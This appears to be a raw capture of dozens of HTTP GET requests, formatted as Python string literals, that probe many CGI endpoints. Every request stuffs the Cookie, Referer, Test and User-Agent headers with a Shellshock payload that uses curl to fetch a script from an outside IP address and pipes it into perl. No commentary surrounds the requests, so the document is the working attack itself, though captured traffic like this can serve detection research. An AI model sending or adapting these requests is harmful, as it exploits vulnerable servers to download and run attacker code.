 u'GET /cgi-bin/php4 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin///admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /shop/normal_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /process_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ministats/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /fcgi-bin/echo2HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ez2000/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /details.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /debug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcforum/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /CSNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /create_release.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cp/rac/nsManager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /connector.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgistartHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/mchat.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/helpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/domainredirect.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-mod/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/zml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/wrap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois_raw.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webspirs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webif.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webdist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/vpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/viralator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ultraboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/troops.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/tidfinder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test2.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/snorkerz.cmdHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sendform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/quickstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/profile.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/postcards.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/pollssi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/nph-publish.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/myguestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/mmstdod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/man.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
